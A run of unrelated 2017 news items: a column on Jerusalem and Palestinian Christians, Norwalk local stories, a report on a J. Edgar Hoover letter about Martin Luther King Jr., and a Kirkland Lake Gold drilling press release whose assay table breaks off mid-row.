Over and over I heard from ordinary Palestinians in Jerusalem and Ramallah that they distrust their leaders, who still are conferring among themselves on how to react and (mostly) calling for nonviolence. Moreover, Palestinians feel they have been betrayed by Saudi Arabia and Egypt, who have allied strategically with Israel against Iran. This leaves them isolated.

Yet this uneasy stasis could blow up if Israeli officials arent careful, especially if there is an incident involving holy Muslim sites.

Two important things have changed, however, one involving Pence and one Trump.

Given Pences concern for Arab Christians, its ironic that U.S. recognition of Jerusalem may be harming them more than it has helped them.

Most Christian Palestinians are caught in the middle, I was told by Franciscan Father Peter Vasko, president of the Franciscan Foundation of the Holy Land and a Brooklyn native. (A longtime Jerusalem resident, he has guided President Trump and previous U.S. presidents around the Church of the Holy Sepulchre.)

Israeli soldiers look at Palestinian Christians as Arabs first, he says, and Palestinian nationalists see them as linked to the West. Meantime, political uncertainty undercuts their career prospects.

Thats why they are leaving, Vasko says. There are only 9,000 Christians left in Jerusalem and 35,000 in the West Bank. Thirty-five years ago, Bethlehem was 70 percent Christian and 30 percent Muslim but the percentages are now the opposite. (The Franciscan Foundation offers full scholarships to talented Christian youths to study at local universities, giving them a leg up.)

Trumps announcement on Jerusalem squeezes Christian leaders between ties to the West and local political pressures, leaving them exposed.

A second key change: Trumps shift in U.S. policy boosts those in the Israeli government who want to change the physical status of Jerusalem, and ensure that the city will be excluded from any future peace negotiations.

Israel has been building new neighborhoods around Jerusalem on West Bank land annexed to the city that almost have cut it off from its West Bank hinterland. Knesset bills are pending to annex Jewish settlements on the West Bank in order to increase Jerusalems population and exclude Arab neighborhoods from the city.

Danny Seidemann, a noted expert on these developments, believes Trumps decision may inspire Israeli politicians to revisit building a new housing development on a land parcel known as E1, which would rule out any prospective Palestinian state linking up with Jerusalem. He told me, Jerusalem is more contested than ever before.

Perhaps the most important change precipitated by Trumps move is that it has provoked the Palestinians (probably) to exclude any U.S. role as mediator. Without Jerusalem, no peace talks can resume. This probably kills the already minuscule chance that Trump son-in-law Jared Kushner and lawyer friend Jason Greenblatt will come up with the ultimate deal.

Greenblatt will be arriving during Pences visit. But Palestinian leaders, who wont meet the vice president, probably will avoid Greenblatt. As Christmas arrives, the Trump decision does nothing to move the Holy Land closer toward peace.

Trudy Rubin is a columnist and editorial-board member for the Philadelphia Inquirer. Email her at trubin@phillynews.com.
Michael Paulsen / Houston Chronicle

Westport-based PetVet Care Centers is acquiring four animal hospitals as a result of a federally mandated sale of a dozen nationally by Mars to meet antitrust requirements for its planned $9.1 billion acquisition of VCA.

PetVet is picking up vet clinics in Gaithersburg, Md., Vienna, Va., Vancouver, Wash. and Tigard, Ore., with financial terms not disclosed immediately. In June under CEO Gino Volpacchio, Pet Vet Care Centers secured $675 million in funding to acquire vet clinics, with the company owning five in Connecticut including South Wilton Veterinary Clinic and Newtown Veterinary Specialists.
NORWALK  A visit to Norwalk High School by the senior White House adviser Ivanka Trump sparked debate among parents who were unhappy they were not notified about the event.

The trip was kept secret for security purposes, and though Secret Service and local police provided additional surveillance, most in the school community were unaware until after it was over.

Trump, who was invited by IBM CEO Ginni Rometty, toured three classrooms and visited with a handful of students in the Norwalk Early College Academy.

After the news of Trumps visit broke online, parents took to Facebook to express their feelings. Some had disdain for the current administration, others praise for the visit by a member of the first family, and some fell in the middle, saying that even if you are not a fan of the Trumps, the attention NECA received was a good thing.

Under normal circumstances, a visit from the Presidents daughter would be entirely exciting for ALL students. Unfortunately, given the current administrations record on bigotry and racism, the choice to have her as a guest in a diverse community is clearly controversial, wrote Sharon R. Encarnacao Baanante. While we all have our own opinions, I was curious has anyone talked to gay, transgender or minority students in this program about how her visit made them feel?

More News Ivanka Trump impressed by Norwalk early college program

Speaking a proud, liberal Norwalk resident I think it is great that Ivanka came to NHS today ... our city is an amazing diverse place, with fantastic programs like NECA for our children, and Ivankas visit draws attention to that, wrote Kate Owen Morin in the Norwalk Parents for Education Facebook group. I am tired of the perception that we are the hole in the donut here in Fairfield County. This gets us positive recognition and good publicity and I for one am happy about that, regardless of who her father is.

Parents of Norwalk High School students received a robocall prior to Trumps arrival notifying them there would be no morning dropoff at the school because of a special event, and students would need to walk from neighboring Naramake Elementary.

Outside the high school, there was no indication anything unusual was happening. Inside, basement classrooms were cleared and more than a dozen police officers lined the hallway leading to where the panel was assembled.

IBM is looking to get significant funding to significantly expand these types of opportunities for young adults, Board of Education member Bryan Meek wrote in the Norwalk Parents for Education Facebook group. Its amazing how polarizing things are that a sitting first daughter can't even try to help without being ridiculed and demeaned.

Regardless of your stance regarding Ivanka Trump, I think we can all celebrate that NECA is the most successful program of its type in the state, thanks in part to IBMs generosity and partnership, wrote BOE member Barbara Meyer-Mitchell. I think that is where we need to focus. On the success of our program.

kkrasselt@hearstmediact.com; 203-842-2563; @kaitlynkrasselt
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NORWALK  Mayor Harry Rilling announced Tuesday his support for Hartford Mayor Luke Bronins decision to explore a run for governor.

In an email to supporters, Rilling wrote: Around Thanksgiving, I sat down with Luke and I told him that he should run for Governor  and that Id support him if he did. Today, Im proud to be a supporter of his exploratory committee. As a veteran of the U.S. Navy, a former police chief, and as a Mayor, I know what strong leadership looks like.

Over the past couple of years, Ive worked with Luke  and seen Luke work, Rilling said. Ive seen him deal with tough problems in a direct, honest way. And as part of the Connecticut Conference of Municipalities, Ive seen him build partnerships, build consensus, and help find compromises when people couldnt agree. And of course, hes a fellow Navy vet.

In a statement, Bronin thanked Rilling for his support. Mayor Rilling has been a great Mayor for Norwalk, and hes spent his career in public service both to his country and his community. Im incredibly honored to have Mayor Rillings support as I explore a run for Governor, Bronin said.

With Tuesdays announcement, Rilling joins Waterbury Mayor Neil M. OLeary, who expressed his support for Bronin last week.
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NORWALK  Mayor Harry Rilling and other Norwalk officials met with Gov. Dannel Malloy in Hartford on Monday, seeking help from anticipated disruptions from the Walk Bridge replacement.

The estimated $1 billion project  slated to start in 2019  is expected to disrupt traffic and commerce on both sides of the Norwalk River for at least several years.

We presented the governor with some thoughts relative to the process moving forward, and he agreed that our proposals were reasonable, Rilling said. He indicated that he would be getting back in touch with us, that he was going to work with his staff to see how we could form a partnership that  could protect Norwalk to the greatest degree possible.

Rilling said he, Mayoral Assistant Laoise King, Norwalk Corporation Counsel Mario Coppola, Norwalk Redevelopment Agency Executive Director Timothy Sheehan, Walk Bridge Program Manager Susan Prosi and a representative of state Senate Majority Leader Bob Duff were also present at the roughly 40-minute meeting with Malloy.

In a letter to Malloy in August, Rilling asked the governor to commit support and funding to a Walk Bridge Construction Mitigation Service Program that would include strategies to sustain businesses and visitors during and after construction of the new bridge.

The business mitigation issue was brought up and is being explored, said Rilling, when asked afterward if Malloy has committed state funding for mitigation efforts. The issues was discussed and were looking at how we could make that happen.

Residents, motorists, boaters, businesses and business organizations are girding for the project, which will replace Walk Bridge as well as the rail bridges over East Avenue and Fort Point Street. In addition, the Connecticut Department of Transportation will rehabilitate the rail bridge over Osborne Avenue.

So many of the logistics to facilitate the Walk Bridge project are being met in East Norwalk, said Winthrop Baum, founder and president of the East Norwalk Business Association. Here in East Norwalk we have a greater share of the burden. Traffic is going to be greatly impacted. Maneuvering around East Norwalk to accommodate the construction, we foresee it being very, very difficult. And, of course, thats going to impact restaurants and shops negatively.

Baum welcomes the possibility of federal community development block grants coming to Norwalk to help local merchants hurt by the Walk Bridge replacement.

On Dec. 12, the Common Council approved a Business Mitigation Plan that would allocate $100,000 annually over five years to mitigate negative effects to businesses in the South Norwalk area as a result of the Walk Bridge project.

The Norwalk Redevelopment Agency wrote the plan into its overview of anticipated funding  $727,878  that will available from the U.S. Department of Housing and Urban Development community development block grant program for the fiscal year starting July 1, 2018.

The block grants are provided by HUD, administered by the Redevelopment Agency and allocated, per council approval, to local social-service agencies for use in low- and moderate-income neighborhoods.

The agency language addressing South Norwalk left resident Deb Goldstein concerned that East Norwalk businesses might not be eligible for the block grants.

If theyre not, youre leaving out a significant portion of the impacted business community, Goldstein, an East Norwalk resident, told the Common Council at the Dec. 12 council meeting.

Sheehan, in an email to Goldstein the next day, said block grant funding isnt restricted to Redevelopment or Urban Renewal Plan areas such as South Norwalk.

The funding does however have to be used in accordance with CDBG eligible activities that meet a programmatic national objective, Sheehan wrote. In this case it would be business retention assistance that helps to preserve or create low to moderate income jobs.

East Norwalk businesses impacted by the Walk Bridge or related bridge projects could certainly apply for these funds, Sheehan continued.
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WASHINGTON - The secret letter was tucked inside the pages of an old book. It had been written by FBI Director J. Edgar Hoover to a top lieutenant, condemning civil rights leader Martin Luther King Jr.

It was Nov. 19, 1964, and Hoover the previous day had assailed King at a news conference as "the most notorious liar in the country." Now he was writing a colleague privately to say he hoped King was getting his "just deserts."

"I certainly hope so," Hoover wrote.

Four years later, King would be assassinated. And the letter - previously unknown to the public, a local author says - sheds yet more light on the historic malice the FBI director had toward King.

It also touches on a later, even more nefarious FBI effort to damage King.

The FBI's ugly analysis on Martin Luther King Jr. filled with falsehoods

Washington scholar James L. Swanson said he found the letter inside an envelope clipped to a page in Hoover's 1938 book, "Persons in Hiding," which Swanson said he purchased in a bookstore several years ago.

The envelope was marked "PERSONAL" and "DO NOT MAIL." Inside was a letter from Hoover to his subordinate, William C. Sullivan, then the FBI's head of domestic intelligence and the bureau's No. 3 officer.

(The book, which Swanson believes once belonged to Sullivan, is inscribed, "To William Sullivan, Best wishes, J. Edgar Hoover.")

Hoover the day before had held a rare, three-hour news conference with women reporters in Washington. There, he had attacked King for saying two years earlier that FBI agents in Albany, Georgia, didn't pursue civil rights cases because they were southerners.

Sullivan had sent the notoriously vain Hoover a note of praise, and the director had dashed off an appreciative "Dear Bill" reply.

"I share your view in thinking that [King's] exposure is long overdue," Hoover wrote. "It is grand to know that I have the support and goodwill of my close associates in the Bureau."

The letter is reproduced in Swanson's new book for young adults, "Chasing King's Killer," about the hunt for King's assassin, James Earl Ray, due out in January.

"This is a hitherto unknown and unpublished letter," Swanson said in telephone interview last week. He said he was stunned to find it.

"It's an ominous and disturbing letter," he said. But it "in no way indicates that the FBI or Hoover was plotting against King's very life."

"What happened was this: It was announced [the previous month] that Dr. King had been awarded the Nobel Peace Prize, and that provoked Hoover," he said. King was scheduled to accept the award in Norway in December.

Hoover believed that King and his movement were threats to the social order and that King was influenced by close associates who were communists.

The FBI had begun wiretapping King's home and office, and bugging his hotel rooms the previous year, according to Yale historian Beverly Gage.

No serious links to communism were uncovered, but hints about King's sexual dalliances allegedly were.

In the note to Sullivan, an aggrieved Hoover wrote: "I have always been reluctant about holding press conferences . . . [but] there were a number of things I wanted to get off my chest."

For his part, King denied that he had accused southern FBI agents of foot dragging, although he had been quoted by the New York Times in 1962 as saying, "One of the great problems we face with the FBI in the south is that the agents are white southerners who have been influenced by the mores of the community."

In a telegram to Hoover after the director's press conference, King said: "I have sincerely questioned the effectiveness of the FBI in racial incidents, particularly where bombings and brutalities against Negroes are at issue. But I have never attributed this merely to the presence of southerners in the FBI."

In a separate statement, he said Hoover seemed to have "faltered under the awesome burden, complexities and responsibilities of his office."

But Hoover and Sullivan were not finished with King.

Days after Hoover's news conference, a salacious anonymous letter was delivered to King's wife, Coretta Scott King, and later given to King. This letter was from a person masquerading as an angry African American.

The letter was in a package that also containing a tape recording that allegedly captured evidence of King's sexual misconduct.

The typed letter condemned King as "a colossal fraud . . . and a dissolute, abnormal moral imbecile."

"Your 'honorary degrees,' your Nobel Prize (What a grim farce) . . . will not save you," the letter said. "You are done."

"There is only one thing left for you to do," the letter said. "You know what it is . . . There is but one way out . . . You better take it before your filthy, abnormal, fraudulent self is bared to the nation."

King suspected that the FBI was behind the letter and interpreted it as an attempt to blackmail him, apparently into committing suicide.

Swanson and Gage believe that the letter was probably written by Sullivan, who later admitted his involvement in the plan during testimony before a Senate committee but claimed that he had been opposed to the idea.

A draft copy of the letter was later found among Sullivan's files, Senate investigators said in 1975, noting that Sullivan claimed that it had been planted there and was written by someone else.

In a 1979 book, Sullivan said he knew about the tape but not about the letter. Hoover was behind both, Sullivan suggested.

Swanson, author of top-selling books on the Lincoln and Kennedy assassinations, said King was "one of the bravest men in American history."

"Unlike John Kennedy, unlike Abraham Lincoln, King was under constant threat of harassment and death," he said. "He was shot at. His home was bombed. He was hit with rocks and bottles and stones. . . . He received death threats."

"For more than a decade during his rise, Martin Luther King was under constant threat of violence and fear," he said. "And the FBI was very much part of this."

By 1971, Hoover and Sullivan had developed bitter differences, and that year Hoover forced Sullivan to retire.

Two years later, Sullivan told the Los Angeles Times that Hoover was "a master blackmailer."

In 1977, Sullivan was killed in a hunting accident in New Hampshire when he was shot by another hunter who mistook him for a deer.
TORONTO, Dec. 19, 2017 (GLOBE NEWSWIRE) --

-- High-grade, visible-gold bearing mineralization intersected more than 250 metres (m) north of Lantern Deposit

Key intercepts: 1,624 grams per tonne (g/t) gold (Au) over 0.91 m, including 4,750 g/t Au over 0.31 m; 198 g/t Au over 3.0 m, including 1,577 g/t Au over 0.35; 40.8 g/t Au over 18.7 m

-- Mineralization identified over 500 m strike length and 1,200 m down-plunge (to 1,000 m below surface); Lantern Deposit remains open in multiple directions

-- Underground exploration development into Lantern Deposit to commence in early 2018 in support of upgrading and expanding Mineral Resources

-- Lantern exploration program key component of plan to establish economic Mineral Reserve leading to resumption of operations at Cosmo Mine in Northern Territory of Australia.

Kirkland Lake Gold Ltd. (Kirkland Lake Gold or the Company) (TSX:KL) (NYSE:KL) (ASX:KLA) today announced positive drilling results at the Cosmo Mine (Cosmo) in the Northern Territory (NT), Australia. A total of 65 holes for 23,553 m from underground diamond drilling and nine holes for 4,184 m from surface drilling were completed to test the expansion potential of the Lantern Deposit (Lantern). The results substantially increase the deposit footprint, particularly to the north, and demonstrate the potential for significant growth in Mineral Resources. The high-grade gold mineralization intersected from recent drilling exhibits a change from fine-grained free gold in Cosmo Deposit to coarser-grained free gold in narrow quartz veins within Lantern.

Included in the new results is the highest-grade gold assay ever reported at Cosmo, totaling 4,750 g/t Au over 0.31 m (estimated true width ETW 0.2 m) in hole LU73020, which is located more than 250 m north of the current main Lantern Mineral Resource (see Figure 3). For details of the Lantern Mineral Resource see the NI43-101 Technical Report, entitled, Report on the Mineral Resources & Mineral Reserves of the Northern Territory Operations, Northern Territory, Australia, dated March 30, 2017 (the Technical Report).

Tony Makuch, President and CEO of Kirkland Lake Gold, commented: After suspending production at Cosmo on June 30, 2017, we expanded our extensive exploration program at the Lantern Deposit, recognizing the significant potential that exists to identify new Mineral Resources. The results being reported today are very encouraging, as they demonstrate that Lantern is much larger than previously identified with the potential for substantially higher grades. Based on the latest drilling, we have extended Lantern to over 500 m along strike, more than 1,200 m down-plunge and over 1,000 m vertically from surface, with a significant number of high-grade intersections and multiple occurrences of visible gold.

The progress being made at Lantern increases our confidence that we can establish an economic deposit or deposits in the Northern Territory and resume mining and milling operations at the Cosmo Mine and Union Reefs Mill. In support of this goal, we are initiating an underground exploration development program on two levels, 320 m vertically apart, to access Lantern underground from the existing Cosmo ramp. This development will provide the first underground exposures of the Lantern mineralization, deliver improved drilling access and provide initial production platforms for the potential restart of operations in 2018. Five diamond drill rigs (three underground and two surface) and a reverse-circulation (RC) percussion drill rig are currently operating at the Cosmo Mine to further define and expand the Lantern mineralization.

Drilling Highlights within the Lantern Deposit at the Cosmo Mine

Drill results reported today include 74 new drill holes for a total of 27,737 m. The drilling was completed as part of an extensive program of underground infill & extension diamond drilling, with results demonstrating the significant high-grade potential and down-plunge extent of the Lantern Deposit.

Key intercepts are listed below, with further details provided in the commentary that follows.

Highlight Drilling Intercepts:

1,624 g/t Au over 0.91 m (ETW 0.6 m), including 4,750 g/t Au over 0.31 m (ETW 0.2 m) in hole LU73020 (3600 Lode)

198 g/t Au over 3.0 m (ETW 1.0 m), including 1,577 g/t Au over 0.35 m (ETW 0.1 m) in hole LU73017 (3800 Lode)

89.7 g/t Au over 1.0 m (ETW 0.8 m) in hole DS001 (3600 Lode)

40.8 g/t Au over 18.7 m (ETW 5.2 m), in hole LU101020 (3400 Lode)

22.6 g/t Au over 8.8 m (ETW 4.4 m), in hole LU101014 (3900 Lode)

14.6 g/t Au over 5.9 m (ETW 2.8 m) in hole LU101014 (3400 Lode), and

11.7 g/t Au over 19.1 m (ETW 6.5 m) in hole LU101026 (3600 Lode).

ETW  Estimated True Width, all drill results are presented in Table 1 and all drill collars are listed in Table 2.

A total of 16 holes intersected significant Lantern gold mineralization of over 30 Gram-m (gold grade (g/t Au) x estimated true width (m)). Results above 100 Gramm were also recorded for four holes, including: 1,624 g/t Au over 0.91 m (ETW 0.6 m), including 4,750 g/t Au over 0.31 m (ETW 0.2 m) in hole LU73020, 198 g/t Au over 3.0 m (ETW 1.0 m), including 1,577 g/t Au over 0.35 m (ETW 0.1m) in hole LU73017, 40.8 g/t Au over 18.7 m (ETW 5.2 m), in hole LU101020 and 22.6 g/t Au over 8.8 m (ETW 4.4 m), in hole LU101014.

Of the four 100 Gram-m holes, Hole LU73017 is the second deepest drill intercept recorded to date at the Lantern Deposit (Figure 8). Hole DS001, drilled from surface, intersected 89.7 g/t Au over 1.0 m (ETW 0.5m) and is the most southern drill intercept to date at Lantern (Figure 6). Based on current drilling, the Company believes that considerable potential exists for continued expansion of the Lantern mineralization both down-plunge to the north and up-plunge to the south.

There are currently six drill rigs drilling at the Lantern Deposit; comprising three underground diamond drill rigs, two surface diamond drill rigs and one RC percussion drill rig. The RC percussion drill rig commenced in December to potentially define near-surface Lantern Mineral Resources. Underground exploration development to access the Lantern mineralization on two levels is expected to start in the first quarter of 2018 with the first mineralization to be exposed during the second quarter. Each level of geological mapping and sampling will determine the character and continuity of gold grades, including any controlling structures, which will be used to refine the Mineral Resource models and underpin Mineral Reserve estimates and mine production designs. The ongoing exploration program is being conducted to increase Mineral Resources and establish an economic Mineral Reserve base which would facilitate the resumption of mining at Cosmo with a defined and sustainable five-year mine plan.

Lantern Mineralization  Background

The Lantern mineralization was subject to open-pit mining of oxide areas to a depth of 110 m during 1991-1992 by Dominion Mining. Production during this period totaled 1.37 million tonnes (Mt) at an average grade of 2.04 g/t Au for approximately 90 thousand ounces (kozs). Studies in early 2016 revealed potential for the underlying Lantern metasediments in the core of the Cosmo-Howley fold to host gold mineralization similar to the Callie Deposit in the Tanami region of the NT. On March 6, 2017, the Company announced the discovery of the Lantern Deposit based on historical information as well as the result of 25 underground drill holes completed in 2016 to test the down-plunge extension of the Cosmo open pit (see Kirkland Lake Gold News Release dated March 6, 2017). On March 28, 2017, an initial Mineral Resource for the Lantern Deposit was announced, totaling 55.5 kozs Au (566 thousand tonnes at an average grade of 3.1 g/t Au) in the Indicated category and 104.0 kozs (1.12 Mt at an average grade of 2.9 g/t Au) in the Inferred category, using a 2.0 g/t Au cut-off (see Kirkland Lake Gold News Release dated March 28, 2017, and the Technical Report dated March 30, 2017).

Since the March 6, 2017 Kirkland Lake Gold News Release, underground diamond drilling of the Lantern targets has been accelerated to expand and then infill the Mineral Resources. It is likely that over 100 additional diamond holes will be included in the year-end 2017 Lantern Mineral Resource estimate, which is expected to result in an increase in Mineral Resource ounces and a higher average grade compared to the previous estimate.

The additional drilling completed in 2017 has expanded the previous 6 mineralized lodes to more than 30 lodes, which comprise Lantern Deposit, with those in the combined Western Lantern Lode-set being the most continuous and gold endowed (see Figure 2 and Figures 4 to 9 for Lantern Lodes 3400 to 3900). A mineralized strike extent of over 500 m, and vertical extent of 1,000 m is now defined. The mineralization for most lodes is still untested upplunge (shallower) to the south on the western limb, and downplunge (deeper) to the north. Study of the Lantern and Cosmo alteration zoning suggests that the western fold limb acted as the main conduit for gold-bearing fluids to become trapped in the fold hinge and eastern limb effectively against a blanket of thick and highly-sulfidic carbonaceous black mudstone.

The Lantern mineralization is hosted within iron-rich, weakly-carbonaceous, siltstones and dolomitic siltstones with common intense carbonate, sericite-pyrite-chlorite and blood-red Fe-oxy-hydroxide hypogene alteration, associated with quartz-carbonate veining. Geological studies strongly suggest most gold was introduced to the rock after the metamorphic peak, which has produced a chlorite-biotite-magnetite-tourmaline-garnet mineral assemblage. Although partly stratabound, gold mineralization occurs in a quartz-sulfide-carbonate vein network of steeply-dipping sub-linear shear veins, and associated sub-horizontal dipping tensile vein arrays.

The Lantern sequence is structurally thickened by local folding and shears with a moderate 40o to 55o plunge to the north for the overall mineralized zone, and hosts internal local steeply-plunging high-grade corridors where quartz veins are locally at an oblique angle to overall Lantern structure and are likely to have high gold content.

To view a PDF of the tables and figures as referenced in this News Release, visit the links below:

Tables  http://resource.globenewswire.com/Resource/Download/f9bc80b0-6d13-428d-a411-2dc0bc868e1f

Figure 1. Location Plan of Cosmo Mine 

http://www.globenewswire.com/NewsRoom/AttachmentNg/813e95ef-245e-4926-9086-18dfcd2d52c6

Figure 2. Schematic Geological Cross Section of Lantern Deposit, Cosmo Gold Mine 

http://www.globenewswire.com/NewsRoom/AttachmentNg/e5b21720-9270-484f-beb7-eeef603ce796

Figure 3. Long Projection of Lantern Mineralization 

http://www.globenewswire.com/NewsRoom/AttachmentNg/1656b355-8f4a-40cf-b9e8-458ad31766dc

Figure 4. Long Projection of Lantern 3400 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/75afe846-0257-4505-8b93-fee44f119170

Figure 5. Long Projection of Lantern 3500 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/4e1c4a3b-32fb-414d-87e2-723c5342a1d3

Figure 6. Long Projection of Lantern 3600 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/8c166c74-8b5f-43f0-93c5-7dbf238af2b9

Figure 7. Long Projection of Lantern 3700 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/4a23f4df-cd8d-41ab-ad7f-4d74b70fa062

Figure 8. Long Projection of Lantern 3800 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/d2e5fa82-5645-4fa0-9666-a7c9a4b4fcaa

Figure 9. Long Projection of Lantern 3900 Lode 

http://www.globenewswire.com/NewsRoom/AttachmentNg/2a3b12b2-c796-4514-910b-b225ae6b964c

Qualified Person

Mark Edwards, FAusIMM (CP), MAIG, Geology Manager, NT Operations, is a "qualified person" as such term is defined in National Instrument 43-101 and has reviewed and approved the technical information and data included in this News Release.

Drilling and Assay QAQC

Kirkland Lake Gold has in place quality-control systems to ensure best practice in drilling, sampling and analysis of drill core. All diamond drill hole collars (Table 2) are accurately surveyed using a Leica Total Stations instrument and down hole deviations are measured using a down-hole Gyro instrument.

All reported drill intercepts are from NQ2 or HQ3 sized diamond drill core that was sampled from core cut longitudinally in half with a diamond saw. One-half of the drill core was sent for assay and the other half retained for reference. Drill core sample intervals vary between 0.2 and 1.4m in length and were determined from logging of sulfide and visible gold and conform to logged lithological and alteration geological boundaries.

Assay results are based on 50-gram charge fire assay. Intercepts are constrained with wireframe envelopes, generally based on a 2 g/t Au cut-off (where possible) and having a maximum 3 m internal dilution. However, narrower intercepts are reported to highlight lengths of higher gold grade or where mineralization is limited. No upper gold grade cap has been applied to the data. However, during mineral resource work the requirement for capping assay grades will be assessed.

Drill samples from the Lantern Deposit are routinely assayed at North Australian Laboratories Pty Ltd, an independent laboratory in Pine Creek, Northern Territory. Site audits and reviews of the laboratory are conducted from time to time as well as routine assessment of intra-laboratory analyses to ensure quality of reported results.

About Kirkland Lake Gold Ltd.

Kirkland Lake Gold Ltd. is a mid-tier gold producer with 2017 target production of 580,000 to 595,000 ounces from mines in Canada and Australia. The production profile of the company is anchored from two high-grade, low-cost operations, including the Macassa Mine located in northeastern Ontario and the Fosterville Mine located in the state of Victoria, Australia. Kirkland Lake Gold's solid base of quality assets is complemented by district scale exploration potential, supported by a strong financial position with extensive management and operational expertise.

Cautionary Note Regarding Forward-Looking Information

This News Release includes certain "forward-looking statements". All statements other than statements of historical fact included in this release are forward-looking statements that involve various risks and uncertainties. These forward-looking statements include, but are not limited to, statements with respect to planned exploration programs, costs and expenditures, changes in mineral resources and conversion of mineral resources to proven and probable reserves, and other information that is based on forecasts of future operational or financial results, estimates of amounts not yet determinable and assumptions of management. These forward-looking statements include, but are not limited to, statements with respect to future exploration potential, project economics, timing and scope of future exploration, anticipated costs and expenditures, changes in mineral resources and conversion of mineral resources to proven and probable reserves, and other information that is based on forecasts of future operational or financial results, estimates of amounts not yet determinable and assumptions of management.

Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects" or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "estimates" or "intends", or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved) are not statements of historical fact and may be "forward-looking statements." Forward-looking statements are subject to a variety of risks and uncertainties that could cause actual events or results to differ from those reflected in the forward-looking statements. Exploration results that include geophysics, sampling, and drill results on wide spacings may not be indicative of the occurrence of a mineral deposit. Such results do not provide assurance that further work will establish sufficient grade, continuity, metallurgical characteristics and economic potential to be classed as a category of mineral resource. A mineral resource that is classified as "inferred" or "indicated" has a great amount of uncertainty as to its existence and economic and legal feasibility. It cannot be assumed that any or part of an "indicated mineral resource" or "inferred mineral resource" will ever be upgraded to a higher category of resource. Investors are cautioned not to assume that all or any part of mineral deposits in these categories will ever be converted into proven and probable reserves.

There can be no assurance that forward-looking statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Companys expectations include, among others, risks related to international operations, risks related to obtaining the permits required to carry out planned exploration or development work, the actual results of current exploration activities, conclusions of economic evaluations and changes in project parameters as plans continue to be refined as well as future prices of gold, as well as those factors discussed in the section entitled "Risk Factors" in the Companys Annual Information Form and other disclosures of "Risk Factors" by the Company and its predecessors, available on SEDAR. Although Kirkland Lake Gold has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements.

Cautionary Note to U.S. Investors - Mineral Reserve and Resource Estimates

All resource and reserve estimates included in this news release or documents referenced in this news release have been prepared in accordance with Canadian National Instrument 43-101 - Standards of Disclosure for Mineral Projects ("NI 43-101") and the Canadian Institute of Mining, Metallurgy and Petroleum (the "CIM") - CIM Definition Standards on Mineral Resources and Mineral Reserves, adopted by the CIM Council, as amended (the "CIM Standards"). NI 43-101 is a rule developed by the Canadian Securities Administrators, which established standards for all public disclosure an issuer makes of scientific and technical information concerning mineral projects. The terms "mineral reserve", "proven mineral reserve" and "probable mineral reserve" are Canadian mining terms as defined in accordance with NI 43-101 and the CIM Standards. These definitions differ materially from the definitions in SEC Industry Guide 7 ("SEC Industry Guide 7") under the United States Securities Act of 1933, as amended, and the Exchange Act.

In addition, the terms "mineral resource", "measured mineral resource", "indicated mineral resource" and "inferred mineral resource" are defined in and required to be disclosed by NI 43-101 and the CIM Standards; however, these terms are not defined terms under SEC Industry Guide 7 and are normally not permitted to be used in reports and registration statements filed with the U.S. Securities and Exchange Commission (the "SEC"). Investors are cautioned not to assume that all or any part of mineral deposits in these categories will ever be converted into reserves. "Inferred mineral resources" have a great amount of uncertainty as to their existence, and great uncertainty as to their economic and legal feasibility. It cannot be assumed that all or any part of an inferred mineral resource will ever be upgraded to a higher category. Under Canadian rules, estimates of inferred mineral resources may not form the basis of feasibility or pre-feasibility studies, except in very limited circumstances. Investors are cautioned not to assume that all or any part of a mineral resource exists, will ever be converted into a mineral reserve or is or will ever be economically or legally mineable or recovered.

FOR FURTHER INFORMATION PLEASE CONTACT

Anthony Makuch, President, Chief Executive Officer & Director

Phone: +1 416-840-7884

E-mail: tmakuch@klgold.com

Mark Utting, Vice-President, Investor Relations

Phone: +1 416-840-7884

E-mail: mutting@klgold.com

Table 1: Drill Assay Intercepts for Surface and Underground Drilling for the Lantern Deposit

(The Lantern Results are an update to those reported in March 6, 2017 Kirkland Lake Gold News Release)

Hole ID From

(m) To (m) Downhole

Interval (m) Gold Grade

(g/t Au) Estimated True

Width (m) Geological

Structure Lantern 3400 Lode Results CW101001A No Significant Intercept 3400 Lode CW101002 218.90 221.75 2.85 16.2 1.4 3400 Lode CW101003 178.15 183.90 5.75 3.9 2.5 3400 Lode CW101004 271.50 274.50 3.00 2.6 1.3 3400 Lode CW101005 198.60 206.00 7.40 1.3 3.1 3400 Lode CW101006 224.70 227.95 3.25 0.7 1.4 3400 Lode CW101010 158.00 183.30 25.30 1.4 9.4 3400 Lode CW101011 128.00 131.00 3.00 1.3 1.6 3400 Lode CW101012 129.30 141.10 11.80 11.9 4.9 3400 Lode And 152.60 167.70 15.10 12.3 8.6 3400 Lode CW101013 No Significant Intercept 3400 Lode CW93515 327.00 328.00 1.00 3.9 0.6 3400 Lode DS001 202.30 213.10 10.80 0.3 7.9 3400 Lode LS005 No Significant Intercept 3400 Lode LS006 270.90 275.00 4.10 0.5 2.2 3400 Lode LS007 232.00 240.00 8.00 0.3 6.9 3400 Lode LS008 215.00 217.00 2.00 1.6 1.9 3400 Lode LU101003 85.00 89.24 4.24 1.3 2.2 3400 Lode And 95.92 97.00 1.08 22.1 0.5 3400 Lode And 122.00 123.00 1.00 7.9 0.6 3400 Lode LU101004 138.30 140.00 1.70 5.1 0.8 3400 Lode LU101009 76.20 79.55 3.35 0.8 1.8 3400 Lode LU101013 105.00 108.00 3.00 1.8 1.8 3400 Lode LU101014 135.30 141.20 5.90 14.6 2.8 3400 Lode LU101015 No Significant Intercept 3400 Lode LU101016 145.75 159.40 13.65 3.0 6.3 3400 Lode LU101017 166.00 195.90 29.90 4.3 9.2 3400 Lode LU101018 206.50 209.50 3.00 2.3 1.6 3400 Lode LU101019 No Significant Intercept 3400 Lode LU101020 174.50 193.20 18.70 40.8 5.2 3400 Lode LU101021 No Significant Intercept 3400 Lode LU101022 No Significant Intercept 3400 Lode LU101023 No Significant Intercept 3400 Lode LU101024 267.00 272.00 5.00 